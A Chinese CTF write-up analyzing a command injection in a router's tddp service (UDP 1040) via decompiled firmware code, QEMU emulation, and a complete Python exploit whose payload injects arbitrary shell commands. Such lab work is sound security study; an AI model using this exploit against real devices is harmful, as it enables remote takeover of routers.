[关闭]
@H4l0 2019-08-01T17:32:17.000000Z 字数 9412 阅读 2023

由一道工控路由器固件逆向题目看命令执行漏洞

路由器 命令注入

前言

2019 工控安全比赛第一场的一道固件逆向的题目，好像也比较简单，好多人都做出来了。这里就分别从静态和动态调试分析复现一下这个命令执行的洞。

赛题说明

题目给的场景倒是挺真实的：路由器在处理 tddp 协议时出现了命令注入，导致了远程命令执行。就是后面做出来的这个答案的格式咋提交都不对...

image.png-95.6kB

题目给了一个压缩文件，解压出来时一个 bin 文件。

image.png-52.5kB

使用 binwalk -Me 直接解压，得到了与一个标准的 linux 风格的文件系统：

image.png-341.3kB

拿到文件系统之后，需要定位到相应的漏洞点，也就是在处理 tddp 协议的二进制文件中。

题目要求时找到 CMD_?_? 格式的消息类型，那么就使用 grep -rnl "CMD_." * 命令，再根据 tddp 协议定位到 usr/bin/tddp 这个文件，接着开始进行静态分析。

image.png-178.5kB

环境搭建

准备工具

这里尝试在 qemu 的用户模式下进行动态调试发现有问题，所以需要在系统模式下将固件跑起来，因此就要进行系统环境的搭建。

qemu arm 的环境：
https://pan.baidu.com/s/1rDvn8WkHAIB2cwTXih-gMw 提取码：xpnl

安装方法在那篇文章中已经说的很清楚了，就不重复造轮子了。

静态分析

将 ./usr/bin/tddp 加载到 IDA 中，搜索关键字符串，这些关键字都在同一个函数中，回溯可以找到漏洞的函数。

image.png-135.2kB

函数的代码比较长，所以中间省略了一部分，这个函数就是对通过运行在 1040 端口上的 tddp 协议接收到的数据进行解析，并执行相应的分支操作。（函数中使用了 switch case 来实现）

  1. int __fastcall CMD_handle(_BYTE *a1, _DWORD *a2)
  2. {
  3.   uint32_t v2; // r0
  4.   __int16 v3; // r2
  5.   uint32_t v4; // r0
  6.   __int16 v5; // r2
  7.   _DWORD *v7; // [sp+0h] [bp-24h]
  8.   _BYTE *v8; // [sp+4h] [bp-20h]
  9.   _BYTE *v9; // [sp+Ch] [bp-18h]
  10.   _BYTE *v10; // [sp+10h] [bp-14h]
  11.   int v11; // [sp+1Ch] [bp-8h]
  13.   v8 = a1;
  14.   v7 = a2;
  15.   v10 = a1 + 0xB01B;
  16.   v9 = a1 + 0x52;
  17.   a1[0x52] = 1;
  18.   switch ( a1[0xB01C] )
  19.   {
  20.     case 4:
  21.       printf("[%s():%d] TDDPv1: receive CMD_AUTO_TEST\n", 103928, 697);
  22.       v11 = sub_AC78(v8);
  23.       break;
  24.     case 6:
  25.       printf("[%s():%d] TDDPv1: receive CMD_CONFIG_MAC\n", 103928, 638);
  26.       v11 = sub_9944(v8);
  27.       break;
  28.     case 7:
  29.       printf("[%s():%d] TDDPv1: receive CMD_CANCEL_TEST\n", 103928, 648);
  30.       v11 = sub_ADDC(v8);
  31.       if ( !v8 || !(*(v8 + 11) & 4) || !v8 || !(*(v8 + 11) & 8) || !v8 || !(*(v8 + 11) & 0x10) )
  32.         *(v8 + 11) &= 0xFFFFFFFD;
  33.       *(v8 + 8) = 0;
  34.       *(v8 + 11) &= 0xFFFFFFFE;
  35.       break;
  36.     case 8:
  37.       printf("[%s():%d] TDDPv1: receive CMD_REBOOT_FOR_TEST\n", 103928, 702);
  38.       *(v8 + 11) &= 0xFFFFFFFE;
  39.       v11 = 0;
  40.       break;
  41.     case 0xA:
  42.       printf("[%s():%d] TDDPv1: receive CMD_GET_PROD_ID\n", 103928, 643);
  43.       v11 = sub_9C24(v8);
  44.       break;
  45.     case 0xC:
  46.       printf("[%s():%d] TDDPv1: receive CMD_SYS_INIT\n", 103928, 615);
  47.      .....
  48.     case 0xD:
  49.       printf("[%s():%d] TDDPv1: receive CMD_CONFIG_PIN\n", 103928, 682);
  50.       v11 = sub_A97C(v8);
  51.       break;
  52.     case 0x30:
  53.       printf("[%s():%d] TDDPv1: receive CMD_FTEST_USB\n", 103928, 687);
  54.       v11 = sub_A3C8(v8);
  55.       break;
  56.     case 0x31:
  57.       printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIG\n", 103928, 692);
  58.       v11 = vuln(v8);           // 漏洞点在此
  59.       break;
  60.     default:
  61.      ....
  62.   }
  63.   *v7 = ntohl((v9[7] << 24) | (v9[6] << 16) | (v9[5] << 8) | v9[4]) + 12;
  64.   return v11;
  65. }

漏洞点在处理 CMD_FTEST_CONFIG 所在的 0x31 这个分支，跟进一下。（这里传入的参数 v8 为通过 tddp 协议传进来的数据体指针）

vuln 函数

这里调用了 sscanf 函数对传进来的结构体进行解析之后，拼接到 run_exec 函数中进行命令执行。但是这里过滤不严（只判断了 ; 字符，没有过滤 & 和 | 符号），可以进行命令注入，导致拼接恶意代码后可以进行任意命令执行。

  1. int __fastcall vuln(int a1)
  2. {
  3.   void *v1; // r0
  4.   uint32_t v2; // r0
  5.   _BYTE *v3; // r3
  6.   __int16 v4; // r2
  7.   _BYTE *v5; // r3
  8.   int v6; // r0
  9.   int v7; // r1
  10.   int v10; // [sp+4h] [bp-E8h]
  11.   char name; // [sp+8h] [bp-E4h]
  12.   char v12; // [sp+48h] [bp-A4h]
  13.   char s; // [sp+88h] [bp-64h]
  14.   _BYTE *v14; // [sp+C8h] [bp-24h]
  15.   _BYTE *v15; // [sp+CCh] [bp-20h]
  16.   int v16; // [sp+D0h] [bp-1Ch]
  17.   int v17; // [sp+D4h] [bp-18h]
  18.   char *v18; // [sp+D8h] [bp-14h]
  19.   int v19; // [sp+DCh] [bp-10h]
  20.   unsigned int v20; // [sp+E0h] [bp-Ch]
  21.   char *v21; // [sp+E4h] [bp-8h]
  23.   v10 = a1;
  24.   v20 = 1;
  25.   v19 = 4;
  26.   memset(&s, 0, 0x40u);
  27.   memset(&v12, 0, 0x40u);
  28.   v1 = memset(&name, 0, 0x40u);
  29.   v18 = 0;
  30.   v17 = luaL_newstate(v1);
  31.   v21 = (v10 + 0xB01B);
  32.   v16 = v10 + 82;
  33.   v15 = (v10 + 0xB01B);
  34.   v14 = (v10 + 82);
  35.   *(v10 + 83) = 49;
  36.   v2 = htonl(0);
  37.   v3 = v14;
  38.   v14[4] = v2;
  39.   v3[5] = BYTE1(v2);
  40.   v3[6] = BYTE2(v2);
  41.   v3[7] = HIBYTE(v2);
  42.   v14[2] = 2;
  43.   v4 = (v15[9] << 8) | v15[8];
  44.   v5 = v14;
  45.   v14[8] = v15[8];
  46.   v5[9] = HIBYTE(v4);
  47.   if ( *v15 == 1 )
  48.   {
  49.     v21 += 12;
  50.     v16 += 12;
  51.   }
  52.   else
  53.   {
  54.     v21 += 28;
  55.     v16 += 28;
  56.   }
  57.   if ( !v21 )
  58.     goto LABEL_20;
  59.   sscanf(v21, "%[^;];%s", &s, &v12);            // %[^;|&|\|]
  60.   if ( !s || !v12 )
  61.   {
  62.     printf("[%s():%d] luaFile or configFile len error.\n", 98236, 555);
  63. LABEL_20:
  64.     v14[3] = 3;
  65.     return error(-10303, 94892);
  66.   }
  67.   v18 = inet_ntoa(*(v10 + 4));
  68.   run_exec("cd /tmp;tftp -gr %s %s &", &s, v18);  // 漏洞点
  69.   sprintf(&name, "/tmp/%s", &s);
  70.   while ( v19 > 0 )
  71.   {
  72.     sleep(1u);
  73.     if ( !access(&name, 0) )
  74.       break;
  75.     --v19;
  76.   }
  77.   if ( !v19 )
  78.   {
  79.     printf("[%s():%d] lua file [%s] don't exsit.\n", 98236, 574, &name);
  80.     goto LABEL_20;
  81.   }
  82.   if ( v17 )
  83.   {
  84.     luaL_openlibs(v17);
  85.     if ( !luaL_loadfile(v17, &name) )
  86.       lua_pcall(v17, 0, -1, 0);
  87.     lua_getfield(v17, -10002, 94880);
  88.     lua_pushstring(v17, &v12);
  89.     lua_pushstring(v17, v18);
  90.     lua_call(v17, 2, 1);
  91.     v6 = lua_tonumber(v17, -1);
  92.     v20 = sub_16EC4(v6, v7);
  93.     lua_settop(v17, -2);
  94.   }
  95.   lua_close(v17);
  96.   if ( v20 )
  97.     goto LABEL_20;
  98.   v14[3] = 0;
  99.   return 0;
  100. }

run_exec 函数

这里直接调用了 execve 函数进行命令执行。

  1. signed int run_exec(const char *a1, ...)
  2. {
  3.   char *argv; // [sp+8h] [bp-11Ch]
  4.   int v4; // [sp+Ch] [bp-118h]
  5.   char *v5; // [sp+10h] [bp-114h]
  6.   int v6; // [sp+14h] [bp-110h]
  7.   int stat_loc; // [sp+18h] [bp-10Ch]
  8.   char s; // [sp+1Ch] [bp-108h]
  9.   __pid_t pid; // [sp+11Ch] [bp-8h]
  10.   const char *varg_r0; // [sp+128h] [bp+4h]
  11.   va_list varg_r1; // [sp+12Ch] [bp+8h]
  13.   va_start(varg_r1, a1);
  14.   varg_r0 = a1;
  15.   pid = 0;
  16.   stat_loc = 0;
  17.   argv = 0;
  18.   v4 = 0;
  19.   v5 = 0;
  20.   v6 = 0;
  21.   vsprintf(&s, a1, varg_r1);
  22.   printf("[%s():%d] cmd: %s \r\n", 94112, 72, &s);
  23.   pid = fork();
  24.   if ( pid < 0 )
  25.     return -1;
  26.   if ( !pid )
  27.   {
  28.     argv = "sh";
  29.     v4 = 0x16F4C;
  30.     v5 = &s;
  31.     v6 = 0;
  32.     execve("/bin/sh", &argv, 0);
  33.     exit(127);
  34.   }
  35.   while ( waitpid(pid, &stat_loc, 0) == -1 )
  36.   {
  37.     if ( *_errno_location() != 4 )
  38.       return -1;
  39.   }
  40.   return 0;
  41. }

根据函数的调用链交叉引用，回溯分析传进来 CMD_handle 函数的参数。

调用链分析

image.png-34.8kB

在 函数名称处按下 X 键，定位到 data_handle 函数。函数中有一个 recvfrom 函数用来接收 socket 数据，存放到 v16+0xB01B 地址中，之后将 v16 传入 CMD_handle 函数。

  1. int __fastcall data_handle(int a1)
  2. {
  3.   int v1; // r3
  4.   int v2; // r3
  5.   int v3; // r0
  6.   uint32_t v4; // r0
  7.   _BYTE *v5; // r3
  8.   __int16 v6; // r2
  9.   _BYTE *v7; // r3
  10.   int v8; // r0
  11.   uint32_t v9; // r0
  12.   _BYTE *v10; // r3
  13.   __int16 v11; // r2
  14.   _BYTE *v12; // r3
  15.   _BYTE *v13; // r3
  16.   int v14; // r3
  17.   int v16; // [sp+Ch] [bp-30h]
  18.   size_t n; // [sp+10h] [bp-2Ch]
  19.   socklen_t addr_len; // [sp+14h] [bp-28h]
  20.   struct sockaddr addr; // [sp+18h] [bp-24h]
  21.   ssize_t v20; // [sp+28h] [bp-14h]
  22.   _BYTE *v21; // [sp+2Ch] [bp-10h]
  23.   unsigned __int8 *v22; // [sp+30h] [bp-Ch]
  24.   int v23; // [sp+34h] [bp-8h]
  26.   v16 = a1;
  27.   v23 = 0;
  28.   addr_len = 16;
  29.   n = 0;
  30.   memset((a1 + 0xB01B), 0, 0xAFC9u);
  31.   memset((v16 + 0x52), 0, 0xAFC9u);
  32.   v22 = (v16 + 0xB01B);
  33.   v21 = (v16 + 0x52);
  34.   v20 = recvfrom(*(v16 + 36), (v16 + 0xB01B), 0xAFC8u, 0, &addr, &addr_len);// 第二个参数就是 buf 的位置
  35.   if ( v20 < 0 )
  36.     return sub_13018(-10106, 103880);
  37.   sub_15458(v16);
  38.   *(v16 + 44) |= 1u;
  39.   v2 = *v22;
  40.   if ( v2 == 1 )
  41.   {
  42.     v8 = sub_15AD8(v16, &addr);
  43.     if ( v8 )
  44.     {
  45.       *(v16 + 52) = sub_9340(v8);
  46.       v23 = CMD_handle(v16, &n);            // 这里调用了命令处理的函数
  47.     }
  48.     else
  49.     {
  50.       v23 = -10301;
  51.       *v21 = 1;
  52.       v21[1] = v22[1];
  53.       v21[2] = 2;
  54.       v21[3] = 8;
  55.       v9 = htonl(0);
  56.       v10 = v21;
  57.       v21[4] = v9;
  58.       v10[5] = BYTE1(v9);
  59.       v10[6] = BYTE2(v9);
  60.       v10[7] = HIBYTE(v9);
  61.       v11 = (v22[9] << 8) | v22[8];
  62.       v12 = v21;
  63.       v21[8] = v22[8];
  64.       v12[9] = HIBYTE(v11);
  65.     }
  66.   }
  67.   else if ( v2 == 2 )
  68.   {
  69.     v3 = sub_15AD8(v16, &addr);
  70.     if ( v3 )
  71.     {
  72.       *(v16 + 52) = sub_9340(v3);
  73.       v23 = sub_15BB8(v16, &n);
  74.     }
  75.     else
  76.     {
  77.       v23 = -10301;
  78.       *v21 = 2;
  79.       v21[1] = v22[1];
  80.       v21[2] = 2;
  81.       v21[3] = 8;
  82.       v4 = htonl(0);
  83.       v5 = v21;
  84.       v21[4] = v4;
  85.       v5[5] = BYTE1(v4);
  86.       v5[6] = BYTE2(v4);
  87.       v5[7] = HIBYTE(v4);
  88.       v6 = (v22[9] << 8) | v22[8];
  89.       v7 = v21;
  90.       v21[8] = v22[8];
  91.       v7[9] = HIBYTE(v6);
  92.       sub_15830(v16, &n);
  93.     }
  94.   }
  95.   else
  96.   {
  97.     v21[3] = 7;
  98.     v13 = v21;
  99.     v21[4] = 0;
  100.     v13[5] = 0;
  101.     v13[6] = 0;
  102.     v13[7] = 0;
  103.     n = ((v21[7] << 24) | (v21[6] << 16) | (v21[5] << 8) | v21[4]) + 12;
  104.   }
  105.   if ( v16 )
  106.     v14 = *(v16 + 44) & 1;
  107.   else
  108.     v14 = 0;
  109.   if ( v14 && sendto(*(v16 + 36), (v16 + 82), n, 0, &addr, 0x10u) == -1 )
  110.     v1 = sub_13018(-10105, 103896);
  111.   else
  112.     v1 = v23;
  113.   return v1;
  114. }

再往回分析就是对堆空间的一个结构体进行初始化的操作：

  1. int sub_936C()
  2. {
  3.   #37 *v0; // r4
  4.   int optval; // [sp+Ch] [bp-B0h]
  5.   int v3; // [sp+10h] [bp-ACh]
  6.   struct timeval timeout; // [sp+14h] [bp-A8h]
  7.   fd_set readfds; // [sp+1Ch] [bp-A0h]
  8.   #37 *heap_space; // [sp+9Ch] [bp-20h]
  9.   int v7; // [sp+A0h] [bp-1Ch]
  10.   int nfds; // [sp+A4h] [bp-18h]
  11.   fd_set *v9; // [sp+A8h] [bp-14h]
  12.   unsigned int i; // [sp+ACh] [bp-10h]
  13.   char v11[12]; // [sp+B0h] [bp-Ch]
  15.   heap_space = 0;
  16.   v3 = 1;
  17.   optval = 1;
  18.   printf("[%s():%d] tddp task start\n", 94096, 0x97);
  19.   if ( !sub_16ACC(&heap_space)
  20.     && !socket_new(heap_space + 9)
  21.     && !setsockopt(*(heap_space + 9), 1, 2, &optval, 4u)
  22.     && !bind_port(*(heap_space + 9), 1040u)
  23.     && !setsockopt(*(heap_space + 9), 1, 6, &v3, 4u) )
  24.   {
  25.    ....
  26.     while ( 1 )
  27.     {
  28.       do
  29.       {
  30.        ...
  31.       }
  32.       while ( v7 == -1 );
  33.       if ( !v7 )
  34.         break;
  35.       if ( (*&v11[4 * (*(heap_space + 9) >> 5) - 148] >> (*(heap_space + 9) & 0x1F)) & 1 )
  36.         data_handle(heap_space);        // 函数调用
  37.     }
  38.   }
  39.   sub_16E0C(*(heap_space + 9));
  40.   sub_16C18(heap_space);
  41.   return printf("[%s():%d] tddp task exit\n", 94096, 219);
  42. }
  44. // sub_16ACC 函数为初始化过程：
  45. nt __fastcall sub_16ACC(_DWORD *a1)
  46. {
  47.   _DWORD *v3; // [sp+4h] [bp-10h]
  48.   _DWORD *s; // [sp+8h] [bp-Ch]
  49.   int v5; // [sp+Ch] [bp-8h]
  51.   v3 = a1;
  52.   if ( !a1 )
  53.     return error(-10202, 104096);
  54.   s = calloc(1u, 0x15FE4u);
  55.   if ( !s )
  56.     return error(-10202, 104112);
  57.   v5 = sub_16878(s);
  58.   if ( v5 )
  59.     return v5;
  60.   memset(s + 0xE, 0, 9u);
  61.   memset(s + 0x52, 0, 0xAFC9u);
  62.   memset(s + 0xB01B, 0, 0xAFC9u);
  63.   memset(s + 0x41, 0, 0x11u);
  64.   memset(s, 0, 0x28u);
  65.   s[9] = -1;
  66.   s[8] = 0;
  67.   *v3 = s;
  68.   return 0;
  69. }

根据堆内存的初始化过程，可以对结构体空间进行表示：

image.png-31.5kB

题目中问到：第几个字节为多少时，会触命令执行漏洞？

根据 CMD_handle 函数的判断：

接收数据的存储开始位置是在 0xB01B，这里 switch 判断的是 0XB01C 位置，所以相对偏移就是 1，也就是第二个位置。

  1.   v8 = a1;
  2.   v7 = a2;
  3.   v10 = a1 + 0xB01B;
  4.   v9 = a1 + 0x52;
  5.   a1[0x52] = 1;
  6.   switch ( a1[0xB01C] )
  7.   ...
  8.   case 0x31:
  9.   printf("[%s():%d] TDDPv1: receive CMD_FTEST_CONFIG\n", 103928, 692);
  10.   v11 = vuln(v8);

那么这里的答案应该是：CMD_FTEST_CONFIG+0x1+0x31，但是比赛时怎么提交都是错的...

动态调试

这里用 qemu 仿真的方法将固件跑起来，来尝试通过命令注入拿到他的shell。

按照文章的方法，配置好虚拟网卡之后，运行下面的命令将固件模拟起来：

  1. qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

挂载目录，切换根目录：

  1. mount -o bind /dev ./squashfs-root/dev/
  2. mount -t proc /proc/ ./squashfs-root/proc/
  3. chroot squashfs-root sh

启动服务

直接运行 tddp 命令启动 tddp 服务，使用 nmap 的 UDP 扫描端口是开放的。

image.png-58.5kB

EXP 的编写

首先在发送的数据中，前两个字节必须为 \\0x1\\0x31，中间需要填充 10 个字节，原因是这里的 v21 指针会后移 12 位，因此中间需要填充。

image.png-35.5kB

接着就是注入需要的代码：

  1. payload = '\x01\x31'.ljust(12,'\x00')
  2. payload+= "123|%s&&echo ;123"%(command)
  1.   sscanf(v21, "%[^;];%s", &s, &v12);            // %[^;|&|\|]
  2.   if ( !s || !v12 )
  3.   {
  4.     printf("[%s():%d] luaFile or configFile len error.\n", 98236, 555);
  5. LABEL_20:
  6.     v14[3] = 3;
  7.     return error(-10303, 94892);
  8.   }

接着使用 UDP 的 socket 的接口进行发送即可：

最后的 exp 如下：

  1. from pwn import *
  2. from socket import *
  3. import sys
  5. tddp_port = 1040
  6. recv_port = 12345
  7. ip = sys.argv[1]
  8. command = sys.argv[2]
  10. s_send = socket(AF_INET,SOCK_DGRAM,0)
  11. s_recv = socket(AF_INET,SOCK_DGRAM,0)
  13. s_recv.bind(('',12345))
  15. payload = '\x01\x31'.ljust(12,'\x00')
  16. payload+= "123|%s&&echo ;123"%(command)
  18. s_send.sendto(payload,(ip,tddp_port))
  19. s_send.close()
  21. res,addr = s_recv.recvfrom(1024)
  22. print res

执行一个 uname 看看：

image.png-97.3kB

开启 telnetd 服务：

image.png-169.7kB

好吧，这里确实已经连接上了，但是这里远程没有用于 telnet 服务的终端，刚好固件又带了 nc，那就使用 nc 来弹一个 shell 吧。

发现 nc 不带弹 shell 的功能。。那只能将命令的内容正向连接来输出了。

image.png-16.6kB

如图，在本地监听一个端口，命令执行的结果就会通过 nc 显示在本地。
image.png-138.1kB

至此漏洞复现完毕。

当然注入一个合法的 lua 脚本，让程序去访问之后执行命令也是可以的，参考文章中用的就是这种方法。

总结

这个命令执行漏洞拿来练手还是不错的，学到了不少东西。

参考文章

https://paper.seebug.org/879
https://segmentfault.com/a/1190000018351915

添加新批注
在作者公开此批注前，只有你和作者可见。
回复批注